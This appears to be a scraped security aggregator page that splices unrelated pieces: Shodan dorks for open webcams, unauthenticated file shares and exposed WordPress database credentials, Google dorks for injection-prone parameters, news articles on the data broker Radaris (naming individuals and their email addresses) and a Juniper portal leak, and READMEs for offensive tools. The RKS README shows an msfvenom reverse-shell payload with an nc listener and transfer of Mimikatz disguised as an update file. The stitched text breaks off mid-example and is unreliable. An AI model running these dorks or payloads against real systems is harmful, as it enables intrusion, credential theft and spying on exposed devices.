HP-ILO-4 !"HP-ILO-4/2.53" !"HP-ILO-4/2.54" !"HP-ILO-4/2.55" !"HP-ILO-4/2.60" !"HP-ILO-4/2.61" !"HP-ILO-4/2.62" !"HP-iLO-4/2.70" port:1900

Lantronix ethernet adapter's admin interface without password

"Press Enter for Setup Mode port:9999"

Wifi Passwords:

Helps to find the cleartext wifi passwords in Shodan. html:"def_wirelesspassword"

Misconfigured Wordpress Sites:

The wp-config.php if accessed can give out the database credentials. http.html:"* The wp-config.php creation script uses this file"

Outlook Web Access:

Exchange 2007

"x-owa-version" "IE=EmulateIE7" "Server: Microsoft-IIS/7.0"

Exchange 2010

"x-owa-version" "IE=EmulateIE7" http.favicon.hash:442749392

Exchange 2013 / 2016

"X-AspNet-Version" http.title:"Outlook" -"x-owa-version"

Lync / Skype for Business

"X-MS-Server-Fqdn"

Network Attached Storage (NAS)

SMB (Samba) File Shares

Produces ~500,000 results...narrow down by adding "Documents" or "Videos", etc.

"Authentication: disabled" port:445

Specifically domain controllers:

"Authentication: disabled" NETLOGON SYSVOL -unix port:445

Concerning default network shares of QuickBooks files:

"Authentication: disabled" "Shared this folder to access QuickBooks files OverNetwork" -unix port:445

FTP Servers with Anonymous Login

"220" "230 Login successful." port:21

Iomega / LenovoEMC NAS Drives

"Set-Cookie: iomega=" -"manage/login.html" -http.title:"Log In"

Buffalo TeraStation NAS Drives

Redirecting sencha port:9000

Logitech Media Servers

"Server: Logitech Media Server" "200 OK"

Example: Logitech Media Servers

Plex Media Servers

"X-Plex-Protocol" "200 OK" port:32400

Tautulli / PlexPy Dashboards

"CherryPy/5.1.0" "/home"

Home router attached USB

"IPC$ all storage devices"

Webcams

Generic camera search

title:camera

Webcams with screenshots

webcam has_screenshot:true

D-Link webcams

"d-Link Internet Camera, 200 OK"

Hipcam

"Hipcam RealServer/V1.0"

Yawcams

"Server: yawcam" "Mime-Type: text/html"

webcamXP/webcam7

("webcam 7" OR "webcamXP") http.component:"mootools" -401

Android IP Webcam Server

"Server: IP Webcam Server" "200 OK"

Security DVRs

html:"DVR_H264 ActiveX"

Surveillance Cams:

With username:admin and password: :P NETSurveillance uc-httpd Server: uc-httpd 1.0.0

Printers & Copiers:

HP Printers

"Serial Number:" "Built:" "Server: HP HTTP"

Xerox Copiers/Printers

ssl:"Xerox Generic Root"

Epson Printers

"SERVER: EPSON_Linux UPnP" "200 OK"

"Server: EPSON-HTTP" "200 OK"

Canon Printers

"Server: KS_HTTP" "200 OK"

"Server: CANON HTTP Server"

Home Devices

Yamaha Stereos

"Server: AV_Receiver" "HTTP/1.1 406"

Apple AirPlay Receivers

Apple TVs, HomePods, etc.

"\x08_airplay" port:5353

Chromecasts / Smart TVs

"Chromecast:" port:8008

Crestron Smart Home Controllers

"Model: PYNG-HUB"

Random Stuff

Calibre libraries

"Server: calibre" http.status:200 http.title:calibre

OctoPrint 3D Printer Controllers

title:"OctoPrint" -title:"Login" http.favicon.hash:1307375944

Etherium Miners

"ETH - Total speed"

Apache Directory Listings

Substitute .pem with any extension or a filename like phpinfo.php.

http.title:"Index of /" http.html:".pem"

Misconfigured WordPress

Exposed wp-config.php files containing database credentials.

http.html:"* The wp-config.php creation script uses this file"

Too Many Minecraft Servers

"Minecraft Server" "protocol 340" port:25565

Literally Everything in North Korea

net:175.45.176.0/22,210.52.109.0/24,77.94.35.0/24

Google-Dorks-Bug-Bounty - A List Of Google Dorks For Bug Bounty, Web Application Security, And Pentesting

A list of Google Dorks for Bug Bounty, Web Application Security, and Pentesting

Live Tool

Broad domain search w/ negative search

site:example.com -www -shop -share -ir -mfa

PHP extension w/ parameters

site:example.com ext:php inurl:?

Disclosed XSS and Open Redirects

site:openbugbounty.org inurl:reports intext:"example.com"

Juicy Extensions

site:"example[.]com" ext:log | ext:txt | ext:conf | ext:cnf | ext:ini | ext:env | ext:sh | ext:bak | ext:backup | ext:swp | ext:old | ext:~ | ext:git | ext:svn | ext:htpasswd | ext:htaccess

XSS prone parameters

inurl:q= | inurl:s= | inurl:search= | inurl:query= | inurl:keyword= | inurl:lang= inurl:& site:example.com

Open Redirect prone parameters

inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= inurl:& inurl:http site:example.com

SQLi Prone Parameters

inurl:id= | inurl:pid= | inurl:category= | inurl:cat= | inurl:action= | inurl:sid= | inurl:dir= inurl:& site:example.com

SSRF Prone Parameters

inurl:http | inurl:url= | inurl:path= | inurl:dest= | inurl:html= | inurl:data= | inurl:domain= | inurl:page= inurl:& site:example.com

LFI Prone Parameters

inurl:include | inurl:dir | inurl:detail= | inurl:file= | inurl:folder= | inurl:inc= | inurl:locate= | inurl:doc= | inurl:conf= inurl:& site:example.com

RCE Prone Parameters

inurl:cmd | inurl:exec= | inurl:query= | inurl:code= | inurl:do= | inurl:run= | inurl:read= | inurl:ping= inurl:& site:example.com

High % inurl keywords

inurl:config | inurl:env | inurl:setting | inurl:backup | inurl:admin | inurl:php site:example[.]com

Sensitive Parameters

inurl:email= | inurl:phone= | inurl:password= | inurl:secret= inurl:& site:example[.]com

API Docs

inurl:apidocs | inurl:api-docs | inurl:swagger | inurl:api-explorer site:"example[.]com"

Code Leaks

site:pastebin.com "example.com"

site:jsfiddle.net "example.com"

site:codebeautify.org "example.com"

site:codepen.io "example.com"

Cloud Storage

site:s3.amazonaws.com "example.com"

site:blob.core.windows.net "example.com"

site:googleapis.com "example.com"

site:drive.google.com "example.com"

site:dev.azure.com "example[.]com"

site:onedrive.live.com "example[.]com"

site:digitaloceanspaces.com "example[.]com"

site:sharepoint.com "example[.]com"

site:s3-external-1.amazonaws.com "example[.]com"

site:s3.dualstack.us-east-1.amazonaws.com "example[.]com"

site:dropbox.com/s "example[.]com"

site:box.com/s "example[.]com"

site:docs.google.com inurl:"/d/" "example[.]com"

JFrog Artifactory

site:jfrog.io "example[.]com"

Firebase

site:firebaseio.com "example[.]com"

File upload endpoints

site:example.com "choose file"

Dorks that work better w/o domain

Bug Bounty programs and Vulnerability Disclosure Programs

"submit vulnerability report" | "powered by bugcrowd" | "powered by hackerone"

site:*/security.txt "bounty"

Apache Server Status Exposed

site:*/server-status apache

WordPress

inurl:/wp-admin/admin-ajax.php

Drupal

intext:"Powered by" & intext:Drupal & inurl:user

Joomla

site:*/joomla/login

Medium articles for more dorks:

https://thegrayarea.tech/5-google-dorks-every-hacker-needs-to-know-fed21022a906

https://infosecwriteups.com/uncover-hidden-gems-in-the-cloud-with-google-dorks-8621e56a329d

https://infosecwriteups.com/10-google-dorks-for-sensitive-data-9454b09edc12

Top Parameters:

https://github.com/lutfumertceylan/top25-parameter

Proviesec dorks:

https://github.com/Proviesec/google-dorks

3 Things CISOs Achieve with Cato

Researchers Highlight Google's Gemini AI Susceptibility to LLM Threats

A Close Up Look at the Consumer Data Broker Radaris

If you live in the United States, the data broker Radaris likely knows a great deal about you, and they are happy to sell what they know to anyone. But how much do we know about Radaris? Publicly available data indicates that in addition to running a dizzying array of people-search websites, the co-founders of Radaris operate multiple Russian-language dating services and affiliate programs. It also appears many of their businesses have ties to a California marketing firm that works with a Russian state-run media conglomerate currently sanctioned by the U.S. government.

Formed in 2009, Radaris is a vast people-search network for finding data on individuals, properties, phone numbers, businesses and addresses. Search for any American’s name in Google and the chances are excellent that a listing for them at Radaris.com will show up prominently in the results.

Radaris reports typically bundle a substantial amount of data scraped from public and court documents, including any current or previous addresses and phone numbers, known email addresses and registered domain names. The reports also list address and phone records for the target’s known relatives and associates. Such information could be useful if you were trying to determine the maiden name of someone’s mother, or successfully answer a range of other knowledge-based authentication questions.

Currently, consumer reports advertised for sale at Radaris.com are being fulfilled by a different people-search company called TruthFinder. But Radaris also operates a number of other people-search properties — like Centeda.com — that sell consumer reports directly and behave almost identically to TruthFinder: That is, reel the visitor in with promises of detailed background reports on people, and then charge a $34.99 monthly subscription fee just to view the results.

The Better Business Bureau (BBB) assigns Radaris a rating of “F” for consistently ignoring consumers seeking to have their information removed from Radaris’ various online properties. Of the 159 complaints detailed there in the last year, several were from people who had used third-party identity protection services to have their information removed from Radaris, only to receive a notice a few months later that their Radaris record had been restored.

What’s more, Radaris’ automated process for requesting the removal of your information requires signing up for an account, potentially providing more information about yourself that the company didn’t already have (see screenshot above).

Radaris has not responded to requests for comment.

Radaris, TruthFinder and others like them all force users to agree that their reports will not be used to evaluate someone’s eligibility for credit, or a new apartment or job. This language is so prominent in people-search reports because selling reports for those purposes would classify these firms as consumer reporting agencies (CRAs) and expose them to regulations under the Fair Credit Reporting Act (FCRA).

These data brokers do not want to be treated as CRAs, and for this reason their people search reports typically do not include detailed credit histories, financial information, or full Social Security Numbers (Radaris reports include the first six digits of one’s SSN).

But in September 2023, the U.S. Federal Trade Commission found that TruthFinder and another people-search service Instant Checkmate were trying to have it both ways. The FTC levied a $5.8 million penalty against the companies for allegedly acting as CRAs because they assembled and compiled information on consumers into background reports that were marketed and sold for employment and tenant screening purposes.

An excerpt from the FTC’s complaint against TruthFinder and Instant Checkmate.

The FTC also found TruthFinder and Instant Checkmate deceived users about background report accuracy. The FTC alleges these companies made millions from their monthly subscriptions using push notifications and marketing emails that claimed that the subject of a background report had a criminal or arrest record, when the record was merely a traffic ticket.

“All the while, the companies touted the accuracy of their reports in online ads and other promotional materials, claiming that their reports contain “the MOST ACCURATE information available to the public,” the FTC noted. The FTC says, however, that all the information used in their background reports is obtained from third parties that expressly disclaim that the information is accurate, and that TruthFinder and Instant Checkmate take no steps to verify the accuracy of the information.

The FTC said both companies deceived customers by providing “Remove” and “Flag as Inaccurate” buttons that did not work as advertised. Rather, the “Remove” button removed the disputed information only from the report as displayed to that customer; however, the same item of information remained visible to other customers who searched for the same person.

The FTC also said that when a customer flagged an item in the background report as inaccurate, the companies never took any steps to investigate those claims, to modify the reports, or to flag to other customers that the information had been disputed.

WHO IS RADARIS?

According to Radaris’ profile at the investor website Pitchbook.com, the company’s founder and “co-chief executive officer” is a Massachusetts resident named Gary Norden, also known as Gary Nard.

An analysis of email addresses known to have been used by Mr. Norden shows he is a native Russian man whose real name is Igor Lybarsky (also spelled Lubarsky). Igor’s brother Dmitry, who goes by “Dan,” appears to be the other co-CEO of Radaris. Dmitry Lybarsky’s Facebook/Meta account says he was born in March 1963.

The Lybarsky brothers Dmitry or “Dan” (left) and Igor a.k.a. “Gary,” in an undated photo.

Indirectly or directly, the Lybarskys own multiple properties in both Sherborn and Wellesley, Mass. However, the Radaris website is operated by an offshore entity called Bitseller Expert Ltd, which is incorporated in Cyprus. Neither Lybarsky brother responded to requests for comment.

A review of the domain names registered by Gary Norden shows that beginning in the early 2000s, he and Dan built an e-commerce empire by marketing prepaid calling cards and VOIP services to Russian expatriates who are living in the United States and seeking an affordable way to stay in touch with loved ones back home.

A Sherborn, Mass. property owned by Barsky Real Estate Trust and Dmitry Lybarsky.

In 2012, the main company in charge of providing those calling services — Wellesley Hills, Mass-based Unipoint Technology Inc. — was fined $179,000 by the U.S. Federal Communications Commission, which said Unipoint never applied for a license to provide international telecommunications services.

DomainTools.com shows the email address gnard@unipointtech.com is tied to 137 domains, including radaris.com. DomainTools also shows that the email addresses used by Gary Norden for more than two decades — epop@comby.com, gary@barksy.com and gary1@eprofit.com, among others — appear in WHOIS registration records for an entire fleet of people-search websites, including: centeda.com, virtory.com, clubset.com, kworld.com, newenglandfacts.com, and pub360.com.

Still more people-search platforms tied to Gary Norden– like publicreports.com and arrestfacts.com — currently funnel interested customers to third-party search companies, such as TruthFinder and PersonTrust.com.

The email addresses used by Gary Nard/Gary Norden are also connected to a slew of data broker websites that sell reports on businesses, real estate holdings, and professionals, including bizstanding.com, homemetry.com, trustoria.com, homeflock.com, rehold.com, difive.com and projectlab.com.

AFFILIATE & ADULT

Domain records indicate that Gary and Dan for many years operated a now-defunct pay-per-click affiliate advertising network called affiliate.ru. That entity used domain name servers tied to the aforementioned domains comby.com and eprofit.com, as did radaris.ru.

A machine-translated version of Affiliate.ru, a Russian-language site that advertised hundreds of money making affiliate programs, including the Comfi.com prepaid calling card affiliate.

Comby.com used to be a Russian language social media network that looked a great deal like Facebook. The domain now forwards visitors to Privet.ru (“hello” in Russian), a dating site that claims to have 5 million users. Privet.ru says it belongs to a company called Dating Factory, which lists offices in Switzerland. Privet.ru uses the Gary Norden domain eprofit.com for its domain name servers.

Dating Factory’s website says it sells “powerful dating technology” to help customers create unique or niche dating websites. A review of the sample images available on the Dating Factory homepage suggests the term “dating” in this context refers to adult websites. Dating Factory also operates a community called FacebookOfSex, as well as the domain analslappers.com.

RUSSIAN AMERICA

Email addresses for the Comby and Eprofit domains indicate Gary Norden operates an entity in Wellesley Hills, Mass. called RussianAmerican Holding Inc. (russianamerica.com). This organization is listed as the owner of the domain newyork.ru, which is a site dedicated to orienting newcomers from Russia to the Big Apple.

Newyork.ru’s terms of service refer to an international calling card company called ComFi Inc. (comfi.com) and list an address as PO Box 81362 Wellesley Hills, Ma. Other sites that include this address are russianamerica.com, russianboston.com, russianchicago.com, russianla.com, russiansanfran.com, russianmiami.com, russiancleveland.com and russianseattle.com (currently offline).

ComFi is tied to Comfibook.com, which was a search aggregator website that collected and published data from many online and offline sources, including phone directories, social networks, online photo albums, and public records.

The current website for russianamerica.com. Note the ad in the bottom left corner of this image for Channel One, a Russian state-owned media firm that is currently sanctioned by the U.S. government.

AMERICAN RUSSIAN MEDIA

Many of the U.S. city-specific online properties apparently tied to Gary Norden include phone numbers on their contact pages for a pair of Russian media and advertising firms based in southern California. The phone number 323-874-8211 appears on the websites russianla.com, russiasanfran.com, and rosconcert.com, which sells tickets to theater events performed in Russian.

Historic domain registration records from DomainTools show rosconcert.com was registered in 2003 to Unipoint Technologies — the same company fined by the FCC for not having a license. Rosconcert.com also lists the phone number 818-377-2101.

A phone number just a few digits away — 323-874-8205 — appears as a point of contact on newyork.ru, russianmiami.com, russiancleveland.com, and russianchicago.com. A search in Google shows this 82xx number range — and the 818-377-2101 number — belong to two different entities at the same UPS Store mailbox in Tarzana, Calif: American Russian Media Inc. (armediacorp.com), and Lamedia.biz.

Armediacorp.com is the home of FACT Magazine, a glossy Russian-language publication put out jointly by the American-Russian Business Council, the Hollywood Chamber of Commerce, and the West Hollywood Chamber of Commerce.

Lamedia.biz says it is an international media organization with more than 25 years of experience within the Russian-speaking community on the West Coast. The site advertises FACT Magazine and the Russian state-owned media outlet Channel One. Clicking the Channel One link on the homepage shows Lamedia.biz offers to submit advertising spots that can be shown to Channel One viewers. The price for a basic ad is listed at $500.

In May 2022, the U.S. government levied financial sanctions against Channel One that bar US companies or citizens from doing business with the company.

The website of lamedia.biz offers to sell advertising on two Russian state-owned media firms currently sanctioned by the U.S. government.

LEGAL ACTIONS AGAINST RADARIS

In 2014, a group of people sued Radaris in a class-action lawsuit claiming the company’s practices violated the Fair Credit Reporting Act. Court records indicate the defendants never showed up in court to dispute the claims, and as a result the judge eventually awarded the plaintiffs a default judgement and ordered the company to pay $7.5 million.

But the plaintiffs in that civil case had a difficult time collecting on the court’s ruling. In response, the court ordered the radaris.com domain name (~9.4M monthly visitors) to be handed over to the plaintiffs.

However, in 2018 Radaris was able to reclaim their domain on a technicality. Attorneys for the company argued that their clients were never named as defendants in the original lawsuit, and so their domain could not legally be taken away from them in a civil judgment.

“Because our clients were never named as parties to the litigation, and were never served in the litigation, the taking of their property without due process is a violation of their rights,” Radaris’ attorneys argued.

In October 2023, an Illinois resident filed a class-action lawsuit against Radaris for allegedly using people’s names for commercial purposes, in violation of the Illinois Right of Publicity Act.

On Feb. 8, 2024, a company called Atlas Data Privacy Corp. sued Radaris LLC for allegedly violating “Daniel’s Law,” a statute that allows New Jersey law enforcement, government personnel, judges and their families to have their information completely removed from people-search services and commercial data brokers. Atlas has filed at least 140 similar Daniel’s Law complaints against data brokers recently.

Daniel’s Law was enacted in response to the death of 20-year-old Daniel Anderl, who was killed in a violent attack targeting a federal judge (his mother). In July 2020, a disgruntled attorney who had appeared before U.S. District Judge Esther Salas disguised himself as a Fedex driver, went to her home and shot and killed her son (the judge was unharmed and the assailant killed himself).

Earlier this month, The Record reported on Atlas Data Privacy’s lawsuit against LexisNexis Risk Data Management, in which the plaintiffs representing thousands of law enforcement personnel in New Jersey alleged that after they asked for their information to remain private, the data broker retaliated against them by freezing their credit and falsely reporting them as identity theft victims.

Another data broker sued by Atlas Data Privacy — pogodata.com — announced on Mar. 1 that it was likely shutting down because of the lawsuit.

“The matter is far from resolved but your response motivates us to try to bring back most of the names while preserving redaction of the 17,000 or so clients of the redaction company,” the company wrote. “While little consolation, we are not alone in the suit – the privacy company sued 140 property-data sites at the same time as PogoData.”

Atlas says their goal is convince more states to pass similar laws, and to extend those protections to other groups such as teachers, healthcare personnel and social workers. Meanwhile, media law experts say they’re concerned that enacting Daniel’s Law in other states would limit the ability of journalists to hold public officials accountable, and allow authorities to pursue criminals charges against media outlets that publish the same type of public and governments records that fuel the people-search industry.

PEOPLE-SEARCH CARVE-OUTS

There are some pending changes to the US legal and regulatory landscape that could soon reshape large swaths of the data broker industry. But experts say it is unlikely that any of these changes will affect people-search companies like Radaris.

On Feb. 28, 2024, the White House issued an executive order that directs the U.S. Department of Justice (DOJ) to create regulations that would prevent data brokers from selling or transferring abroad certain data types deemed too sensitive, including genomic and biometric data, geolocation and financial data, as well as other as-yet unspecified personal identifiers. The DOJ this week published a list of more than 100 questions it is seeking answers to regarding the data broker industry.

In August 2023, the Consumer Financial Protection Bureau (CFPB) announced it was undertaking new rulemaking related to data brokers.

Justin Sherman, an adjunct professor at Duke University, said neither the CFPB nor White House rulemaking will likely address people-search brokers because these companies typically get their information by scouring federal, state and local government records. Those government files include voting registries, property filings, marriage certificates, motor vehicle records, criminal records, court documents, death records, professional licenses, bankruptcy filings, and more.

“These dossiers contain everything from individuals’ names, addresses, and family information to data about finances, criminal justice system history, and home and vehicle purchases,” Sherman wrote in an October 2023 article for Lawfare. “People search websites’ business pitch boils down to the fact that they have done the work of compiling data, digitizing it, and linking it to specific people so that it can be searched online.”

Sherman said while there are ongoing debates about whether people search data brokers have legal responsibilities to the people about whom they gather and sell data, the sources of this information — public records — are completely carved out from every single state consumer privacy law.

“Consumer privacy laws in California, Colorado, Connecticut, Delaware, Indiana, Iowa, Montana, Oregon, Tennessee, Texas, Utah, and Virginia all contain highly similar or completely identical carve-outs for ‘publicly available information’ or government records,” Sherman wrote. “Tennessee’s consumer data privacy law, for example, stipulates that “personal information,” a cornerstone of the legislation, does not include ‘publicly available information,’ defined as:

“…information that is lawfully made available through federal, state, or local government records, or information that a business has a reasonable basis to believe is lawfully made available to the general public through widely distributed media, by the consumer, or by a person to whom the consumer has disclosed the information, unless the consumer has restricted the information to a specific audience.”

Sherman said this is the same language as the carve-out in the California privacy regime, which is often held up as the national leader in state privacy regulations. He said with a limited set of exceptions for survivors of stalking and domestic violence, even under California’s newly passed Delete Act — which creates a centralized mechanism for consumers to ask some third-party data brokers to delete their information — consumers across the board cannot exercise these rights when it comes to data scraped from property filings, marriage certificates, and public court documents, for example.

“With some very narrow exceptions, it’s either extremely difficult or impossible to compel these companies to remove your information from their sites,” Sherman told KrebsOnSecurity. “Even in states like California, every single consumer privacy law in the country completely exempts publicly available information.”

Below is a mind map that helped KrebsOnSecurity track relationships between and among the various organizations named in the story above:

A mind map of various entities apparently tied to Radaris and the company’s co-founders. Click to enlarge.

RKS - A Script To Automate Keystrokes Through A Graphical Desktop Program

A script to automate keystrokes through an active remote desktop session that assists offensive operators in combination with living off the land techniques.

All credits goes to nopernik for making it possible so I took it upon myself to improve it. I wanted something that helps during the post exploitation phase when executing commands through a remote desktop.

$ ./rks.sh -h
Usage: ./rks.sh (RemoteKeyStrokes)
Options:
    -c, --command <command | cmdfile>       Specify a command or a file containing to execute
    -i, --input <input_file>                Specify the local input file to transfer
    -o, --output <output_file>              Specify the remote output file to transfer
    -m, --method <method>                   Specify the file transfer or execution method
                                            (For file transfer "base64" is set by default if
                                            not specified. For execution method "none" is set
                                            by default if not specified)

    -p, --platform <operating_system>       Specify the operating system (windows is set by
                                            default if not specified)

    -w, --windowname <name>                     Specify t   he window name for graphical remote
                                            program (freerdp is set by default if not
                                            specified)

    -h, --help                              Display this help message

• When running in command prompt

$ cat recon_cmds.txt
whoami /all
net user
net localgroup Administrators
net user /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net group "Domain Computers" /domain

$ ./rks.h -c recon_cmds.txt

• Execute an implant while reading the contents of the payload in powershell.

$ msfvenom -p windowx/x64/shell_reverse_tcp lhost=<IP> lport=4444 -f psh -o implant.ps1

$ ./rks.sh -c implant.ps1

$ nc -lvnp 4444

• Transfer a file remotely when pivoting in a isolated network. If you want to specify the remote path on windows be sure to include quotes.

$ ./rks.sh -i /usr/share/powersploit/Privesc/PowerUp.ps1 -o script.ps1

$ ./rks.sh -i /usr/share/powersploit/Exfiltration/Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m base64

• If you're targeting VNC network protocols you can specify the window name with tightvnc.

$ ./rks.sh -i implant.ps1 -w tightvnc

• If you're targeting legacy operating systems with older RDP authentication specify the window name with rdesktop.

$ ./rks.sh -i implant.bat -w rdesktop

• Add text colors for better user experience

• Implement Base64 file transfer

• Implement Bin2Hex file transfer

• Implement a persistence function for both windows and linux.

• Implement antiforensics function for both windows and linux.

• Implement to read shellcode input and run C# implant and powershell runspace

• Implement privesc function for both windows and linux

• Video: sethc.exe Backdoor CMD Payload delivery (USB Rubber Ducky style)

• Original Script

• sticky_keys_hunter

• nopernik

New BIFROSE Linux Malware Variant Using Deceptive VMware Domain for Evasion

Network Resilience: Accelerating Efforts to Protect Critical Infrastructure

As head of the Cisco Trust Office, Matt Fussa leads a global team that partners with government agencies, regulators, and customers to help shape cybersecurity regulation and manage cyber risk. He is… Read more on Cisco Blogs

Juniper Support Portal Exposed Customer Device Info

Until earlier this week, the support website for networking equipment vendor Juniper Networks was exposing potentially sensitive information tied to customer products, including which devices customers bought, as well as each product’s warranty status, service contracts and serial numbers. Juniper said it has since fixed the problem, and that the inadvertent data exposure stemmed from a recent upgrade to its support portal.

Sunnyvale, Calif. based Juniper Networks makes high-powered Internet routers and switches, and its products are used in some of the world’s largest organizations. Earlier this week KrebsOnSecurity heard from a reader responsible for managing several Juniper devices, who found he could use Juniper’s customer support portal to find device and support contract information for other Juniper customers.

Logan George is a 17-year-old intern working for an organization that uses Juniper products. George said he found the data exposure earlier this week by accident while searching for support information on a particular Juniper product.

George discovered that after logging in with a regular customer account, Juniper’s support website allowed him to list detailed information about virtually any Juniper device purchased by other customers. Searching on Amazon.com in the Juniper portal, for example, returned tens of thousands of records. Each record included the device’s model and serial number, the approximate location where it is installed, as well as the device’s status and associated support contract information.

Information exposed by the Juniper support portal. Columns not pictured include Serial Number, Software Support Reference number, Product, Warranty Expiration Date and Contract ID.

George said the exposed support contract information is potentially sensitive because it shows which Juniper products are most likely to be lacking critical security updates.

“If you don’t have a support contract you don’t get updates, it’s as simple as that,” George said. “Using serial numbers, I could see which products aren’t under support contracts. And then I could narrow down where each device was sent through their serial number tracking system, and potentially see all of what was sent to the same location. A lot of companies don’t update their switches very often, and knowing what they use allows someone to know what attack vectors are possible.”

In a written statement, Juniper said the data exposure was the result of a recent upgrade to its support portal.

“We were made aware of an inadvertent issue that allowed registered users to our system to access serial numbers that were not associated with their account,” the statement reads. “We acted promptly to resolve this issue and have no reason to believe at this time that any identifiable or personal customer data was exposed in any way. We take these matters seriously and always use these experiences to prevent further similar incidents. We are actively working to determine the root cause of this defect and thank the researcher for bringing this to our attention.”

The company has not yet responded to requests for information about exactly when those overly permissive user rights were introduced. However, the changes may date back to September 2023, when Juniper announced it had rebuilt its customer support portal.

George told KrebsOnSecurity the back-end for Juniper’s support website appears to be supported by Salesforce, and that Juniper likely did not have the proper user permissions established on its Salesforce assets. In April 2023, KrebsOnSecurity published research showing that a shocking number of organizations — including banks, healthcare providers and state and local governments — were leaking private and sensitive data thanks to misconfigured Salesforce installations.

Nicholas Weaver, a researcher at University of California, Berkeley’s International Computer Science Institute (ICSI) and lecturer at UC Davis, said the complexity layered into modern tech support portals leaves much room for error.

“This is a reminder of how hard it is to build these large systems like support portals, where you need to be able to manage gazillions of users with distinct access roles,” Weaver said. “One minor screw up there can produce hilarious results.”

Last month, computer maker Hewlett Packard Enterprise announced it would buy Juniper Networks for $14 billion, reportedly to help beef up the 100-year-old technology company’s artificial intelligence offerings.

Update, 11:01 a.m. ET: An earlier version of this story quoted George as saying he was able to see support information for the U.S. Department of Defense. George has since clarified that while one block of device records he found was labeled “Department of Defense,” that record appears to belong to a different country.

Hands-On Review: SASE-based XDR from Cato Networks

Critical RCE Vulnerability Uncovered in Juniper SRX Firewalls and EX Switches

Google Cloud Resolves Privilege Escalation Flaw Impacting Kubernetes Service

Cost of a Data Breach Report 2023: Insights, Mitigators and Best Practices

MacMaster - MAC Address Changer

MacMaster is a versatile command line tool designed to change the MAC address of network interfaces on your system. It provides a simple yet powerful solution for network anonymity and testing.

Features

• Custom MAC Address: Set a specific MAC address to your network interface.
• Random MAC Address: Generate and set a random MAC address.
• Reset to Original: Reset the MAC address to its original hardware value.
• Custom OUI: Set a custom Organizationally Unique Identifier (OUI) for the MAC address.
• Version Information: Easily check the version of MacMaster you are using.

Installation

MacMaster requires Python 3.6 or later.

1. Clone the repository:

   $ git clone https://github.com/HalilDeniz/MacMaster.git

2. Navigate to the cloned directory:

   cd MacMaster

3. Install the package:

   $ python setup.py install

Usage

$ macmaster --help         
usage: macmaster [-h] [--interface INTERFACE] [--version]
                 [--random | --newmac NEWMAC | --customoui CUSTOMOUI | --reset]

MacMaster: Mac Address Changer

options:
  -h, --help            show this help message and exit
  --interface INTERFACE, -i INTERFACE
                        Network interface to change MAC address
  --version, -V         Show the version of the program
  --random, -r          Set a random MAC address
  --newmac NEWMAC, -nm NEWMAC
                        Set a specific MAC address
  --customoui CUSTOMOUI, -co CUSTOMOUI
                        Set a custom OUI for the MAC address
  --reset, -rs          Reset MAC address to the original value

Arguments

• --interface, -i: Specify the network interface.
• --random, -r: Set a random MAC address.
• --newmac, -nm: Set a specific MAC address.
• --customoui, -co: Set a custom OUI for the MAC address.
• --reset, -rs: Reset MAC address to the original value.
• --version, -V: Show the version of the program.

1. Set a specific MAC address:

   $ macmaster.py -i eth0 -nm 00:11:22:33:44:55

2. Set a random MAC address:

   $ macmaster.py -i eth0 -r

3. Reset MAC address to its original value:

   $ macmaster.py -i eth0 -rs

4. Set a custom OUI:

   $ macmaster.py -i eth0 -co 08:00:27

5. Show program version:

   $ macmaster.py -V

Replace eth0 with your desired network interface.

Note

You must run this script as root or use sudo to run this script for it to work properly. This is because changing a MAC address requires root privileges.

Contributing

Contributions are welcome! To contribute to MacMaster, follow these steps:

1. Fork the repository.
2. Create a new branch for your feature or bug fix.
3. Make your changes and commit them.
4. Push your changes to your forked repository.
5. Open a pull request in the main repository.

Contact

For any inquiries or further information, you can reach me through the following channels:

Contact

• Linktr :Halil Deniz
• LinkedIn : Halil İbrahim Deniz
• TryHackMe : halilovic
• Instagram : deniz.halil333
• YouTube : HalilDeniz
• Email: halildeniz313@gmail.com

NetworkSherlock - Powerful And Flexible Port Scanning Tool With Shodan

NetworkSherlock is a powerful and flexible port scanning tool designed for network security professionals and penetration testers. With its advanced capabilities, NetworkSherlock can efficiently scan IP ranges, CIDR blocks, and multiple targets. It stands out with its detailed banner grabbing capabilities across various protocols and integration with Shodan, the world's premier service for scanning and analyzing internet-connected devices. This Shodan integration enables NetworkSherlock to provide enhanced scanning capabilities, giving users deeper insights into network vulnerabilities and potential threats. By combining local port scanning with Shodan's extensive database, NetworkSherlock offers a comprehensive tool for identifying and analyzing network security issues.

Features

• Scans multiple IPs, IP ranges, and CIDR blocks.
• Supports port scanning over TCP and UDP protocols.
• Detailed banner grabbing feature.
• Ping check for identifying reachable targets.
• Multi-threading support for fast scanning operations.
• Option to save scan results to a file.
• Provides detailed version information.
• Colorful console output for better readability.
• Shodan integration for enhanced scanning capabilities.
• Configuration file support for Shodan API key.

Installation

NetworkSherlock requires Python 3.6 or later.

1. Clone the repository:

   git clone https://github.com/HalilDeniz/NetworkSherlock.git

2. Install the required packages:

   pip install -r requirements.txt

Configuration

Update the networksherlock.cfg file with your Shodan API key:

[SHODAN]
api_key = YOUR_SHODAN_API_KEY

Usage

python3 networksherlock.py --help
usage: networksherlock.py [-h] [-p PORTS] [-t THREADS] [-P {tcp,udp}] [-V] [-s SAVE_RESULTS] [-c] target

NetworkSherlock: Port Scan Tool

positional arguments:
  target                Target IP address(es), range, or CIDR (e.g., 192.168.1.1, 192.168.1.1-192.168.1.5,
                        192.168.1.0/24)

options:
  -h, --help            show this help message and exit
  -p PORTS, --ports PORTS
                        Ports to scan (e.g. 1-1024, 21,22,80, or 80)
  -t THREADS, --threads THREADS
                        Number of threads to use
  -P {tcp,udp}, --protocol {tcp,udp}
                        Protocol to use for scanning
  -V, --version-info    Used to get version information
  -s SAVE_RESULTS, --save-results SAVE_RESULTS
                        File to save scan results
  -c, --ping-check      Perform ping check before scanning
     --use-shodan          Enable Shodan integration for additional information

Basic Parameters

• target: The target IP address(es), IP range, or CIDR block to scan.
• -p, --ports: Ports to scan (e.g., 1-1000, 22,80,443).
• -t, --threads: Number of threads to use.
• -P, --protocol: Protocol to use for scanning (tcp or udp).
• -V, --version-info: Obtain version information during banner grabbing.
• -s, --save-results: Save results to the specified file.
• -c, --ping-check: Perform a ping check before scanning.
• --use-shodan: Enable Shodan integration.

Example Usage

Basic Port Scan

Scan a single IP address on default ports:

python networksherlock.py 192.168.1.1

Custom Port Range

Scan an IP address with a custom range of ports:

